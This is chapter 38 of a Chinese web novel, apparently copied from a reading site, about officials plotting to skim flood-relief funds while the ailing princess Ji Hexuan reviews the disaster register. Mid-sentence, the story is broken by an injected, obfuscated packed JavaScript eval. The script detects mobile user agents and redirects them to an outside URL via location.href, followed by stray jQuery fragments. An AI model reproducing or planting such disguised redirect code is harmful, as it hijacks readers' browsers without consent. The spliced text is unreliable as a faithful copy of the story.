默认冷灰
24号文字
方正启体

38. 第 38 章

作者:秋来栖景本书字数:K更新时间:
    许士元只略一提醒,县令立刻就想了起来。


    姬鹤轩说这话大约也就是在两个时辰前,想不记得也不是什么容易事。


    县令恍然地点点头,目光看着许士元,还是没明白他的来意。


    “长公主殿下的确说过这么一句,许公子可是有什么新的指示?”说着,县令又关心了一句,“长公主殿下可好了?”


    许士元摇摇头:“殿下还病在床上,可这赈灾的事情耽误不得。”许士元说着朝县令又走近了一步,“这种时候,不就是咱们立功的好机会么?”


    说话间,县令已然感受到什么,隐约知道了许士元的意思。


    可他没有直接说出口,他又哪里敢直接相信?


    他许士元背后有姬鹤轩做靠山,哪里能和他相提并论?


    真要是出了什么事,他这个县令轻易就丢了官帽子,可许士元讨好姬鹤轩两句,说不定什么事也没有。


    他们之间,当真是一个天上,一个地下。


    瞧着县令那双眼睛滴溜溜地看着他,等着他主动背了这个锅。


    一个二个都是这样,就连父母官都如此,也难怪现在的朝堂会是这样的风气。


    这样的朝堂,当真值得他们寒窗苦读这么多年,拼着一条命去效力么?


    这个念头丝滑地从许士元脑海中闪过,只一瞬就可以在人心里种下怀疑的种子。


    现在可没有时间给他去思考这些。


    许士元弯着嘴角,如县令的愿说出了他想听的话。


    “县令爷还请放心,某得了李将军的许可,又去同账房那边说了清楚,眼下只等着咱们把各家的受灾情况统计好了报上去,这其中咱们自然可以多报一点,百姓们仍然能够得到他们应得的银钱,但咱们也可以从中抽取一部分。”


    县令听着这话却皱起了眉:“你这主意是不错,可要是长公主殿下派发银钱不经过咱们呢?”


    这一点许士元也考虑到了。


    “县令爷多虑了,福平县上上下下多少人口?长公主殿下就算再厉害,也不过就带了几百人,还不能随意派遣,总得留些人护在身边,到头来还得指望您呐。”


    许士元语气极尽谄媚:“这事过后,还得修桥,还有谁比您更清楚这福平县上上下的人?哪里有好石材,哪里有好沙料,不都得请您去办么?到时候咱们还能从中捞一笔油水。这造桥么,只要别在长公主殿下在的时候塌了,咱们的差事就算是办成了。”


    许士元一番话说得县令头脑发昏,一瞬间什么也想不明白,只听见许士元的主意和他要做的事情不谋而合。


    只要许士元能把这件事给办成了,那忠国公那边就有交代了。


    略一犹豫,县令抬头看向许士元:“那许公子说,咱们现在该怎么办。”


    “先这样……”


    许士元拉着县令在县城里四处奔走,做出一副亲自督办的模样,把姿态做得十足,所有人都看得见,就算日后出了什么事情,真问起来,整个福平县的人都是人证。


    管账簿的那些官员瞧见了,悬着的一颗心也落回了肚子里。


    姬鹤轩在床上睡了一天两夜才醒,醒来的时候,许士元已经把所有的受灾情况登记造册,等着姬鹤轩查阅。


    恰逢此时,拂露已经带着船只赶了回来。


    只是这时候雨已经停了,河水水位也已经退了下去,船只已经派不上什么用场,直接充公,防着以后还有要用的地方。


    拂露刚下马,就看见许士元正端着册子,却没有看见姬鹤轩的人影。


    她皱着眉头上下打量着许士元,一脸警惕地看着他:“殿下人呢?”


    许士元抬手示意了一下自己手里的东西,对拂露说道:“我正要去见殿下,拂露姑娘不若一起?”


    拂露刚回来,还不清楚发生了什么,只得点头同意,让许士元带路。


    姬鹤轩暂时被安置在县府衙的客房里,有一个单独的小院子,还算是僻静,不怎么受人打扰。


    或许是因为客房的面积不大,所以受损情况也不算严重,简单收拾了就能住人,此刻屋子里已经摆满了姬鹤轩日常所需的各种东西。


    福平县的受灾情况较为严重,拂露回来的时候满大街都是人,也不是他们不想回家,一场洪水冲得房屋倒塌,大多数人家里现在不是漏风就是漏雨,还没法住人。


    这两天倒是有人自发的开始找材料修屋子,但到底可用的材料不多,也只能勉强遮风避雨。


    更多的人都指着朝廷出钱修屋子,更是不愿意自己花钱,索性就找个巷子待着,好歹也暖和点。


    刚到放门口,许士元立刻停下脚步退让一旁,示意拂露先进去。


    拂露立刻看向许士元,后者解释道:“救人时,殿下情急之下下了河,又淋了雨,病了一场,都是李将军在照顾,现下都还未好全,我不好进去扰了殿下休息。”


    拂露无语地看他一眼,这分明是不想惹姬鹤轩不高兴,怕被责罚,让她去触这个雷。


    许士元怕,拂露却没有什么好怕的。


    她抬手敲了敲门,出声道:“殿下,拂露回来了。”


    屋内,姬鹤轩已经醒了,烧了一天一夜总算是退了烧。


    李承允就在她身旁躺着,她躺了多久,李承允就衣不解带地照顾了她多久。


    许是她病中又觉得冷,醒来的时候正趴在李承允胸口,身上还盖着他的衣服。


    “进来吧。”


    姬鹤轩应了声,拂露推开门就往里面去,瞧见床上的情况也不惊讶。


    别人不清楚,她却是最清楚的。


    且不说这两人的关系本就非同寻常,单说这李承允,姬鹤轩每每向他示好时,李承允总是不肯同意,可真当姬鹤轩不搭理他之后,他比谁都着急。


    也就姬鹤轩有这耐心陪他这样折腾,她这个做婢女的也不好说什么。


    只要姬鹤轩开心就好。


    拂露躬身施了一礼,随后呈上簿子:“殿下,此行采购船只数量以及所花费的银两,全都在这了。”


    “不必看了,我信得过你,拿去核销就是。”姬鹤轩坐在床上,身上披着李承允的外衣,衣服的主人还在熟睡当中,对房间里发生的事情一概不知情。


    汇报完自己的差事,拂露立刻提起许士元:“殿下,许士元正在屋外候着,瞧他那模样,似是有事要禀报。”


    “那他怎么不进来?”


    拂露看了一眼姬鹤轩身边的李承允:“许公子怕扰了殿下的兴致。”


    “这种时候他倒是挺懂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107864|195829||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事。”姬鹤轩说着就朝拂露伸出了手,“扶我起来洗漱。”


    拂露赶忙上前,小心翼翼地扶着姬鹤轩下床,姬鹤轩小心翼翼地从床尾绕过李承允,扶着拂露的手跳下床。


    为了让姬鹤轩睡的舒服,李承允只有上半身在床上,腿伸在外面。


    拂露正准备把李承允整个抬到床上去,却被姬鹤轩拦下。


    “他睡觉的时候有人碰他很容易醒,我来。”


    姬鹤轩说着蹲下身去,拈着自己的头发在李承允而后搔了搔,床上的人眉头一皱,一个翻身就滚到了床内侧。


    姬鹤轩眉眼弯弯:“他这人身上打小就没什么弱点,就耳朵很敏感。”


    说着,姬鹤轩起身,让拂露给她穿上衣服。


    衣服层层叠叠,每一层都不算厚,层层叠叠地穿起来,走动时裙摆如花绽放。


    穿好衣服,姬鹤轩道:“叫许士元进来说话吧。”


    “是。”


    此时,躺在床上的人已经睁开了眼,还好姬鹤轩已经坐到梳妆台前,看不见他此刻已经通红的耳朵。


    趁着姬鹤轩在梳妆台前就坐的空档,拂露快步走到门口喊许士元进来,拂露则站在姬鹤轩身后替她梳头。


    看着铜镜里自己的脸,姬鹤轩拿起簪子在自己头上比划,许士元站在隔间外,双手奉上册子。


    “禀殿下,福平县受灾情况已经统计好了,各家损失了多少东西、银钱,都已经记录在册子上,共计约三百万两白银有余,请殿下过目。”


    姬鹤轩闻言一怔,放下手上的簪子:“呈上来。”


    许士元迈着小碎步朝姬鹤轩走去,将册子放在她手边。


    受灾后银钱肯定多少有些损失,但姬鹤轩也没有想到会有这么多。


    均算下来倒是不多,福平县几万户人,算到每一户头上也就一二百两白银。


    她瞧着是不多,可普通的一家三口一年到头也不过就花个几十两银子,还是过得十分滋润的情况下。


    这每户一二百两银子,足够他们好吃好喝过上三四年了。


    翻开册子,许士元的记录倒是十分详细,具体是哪一家,住在什么地方,家里几口人,年岁多少,损失了什么东西,都记得一清二楚,甚至按照居住的地址进行了划分。


    看下来的确没有什么问题。


    许士元在一旁解释道:“此次受灾,各家各户的房屋都有损毁,百姓们不敢多报,这账面上多是修缮房屋要花的钱,家里头的损失倒是没报多少。”


    听了许士元的话,姬鹤轩的心又往下沉了沉。


    也就是说,倘若要一笔真实的数字,只会比这还要高上不少,划个五百万两左右比较合适。


    各家还要给一些补贴,还有这些日子的饭食,以及修缮的工人也要付钱……等等等等,一次赈灾就要从国库里花掉上千万两银子。


    姬鹤轩深呼吸一口气,看向许士元:“再去统计,叫他们不必担心银钱,有多少损失就报多少损失。”说罢,姬鹤轩扭头看向拂露,“你拨拢一队人手给他,同县令传个口令,让人尽快把这些都整理出来。先让县令修缮房屋,让百姓归家,其余的之后再说。”


    拂露应了声,许士元竖耳听着,眼看着自己的目的已经达到,也不再久留。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)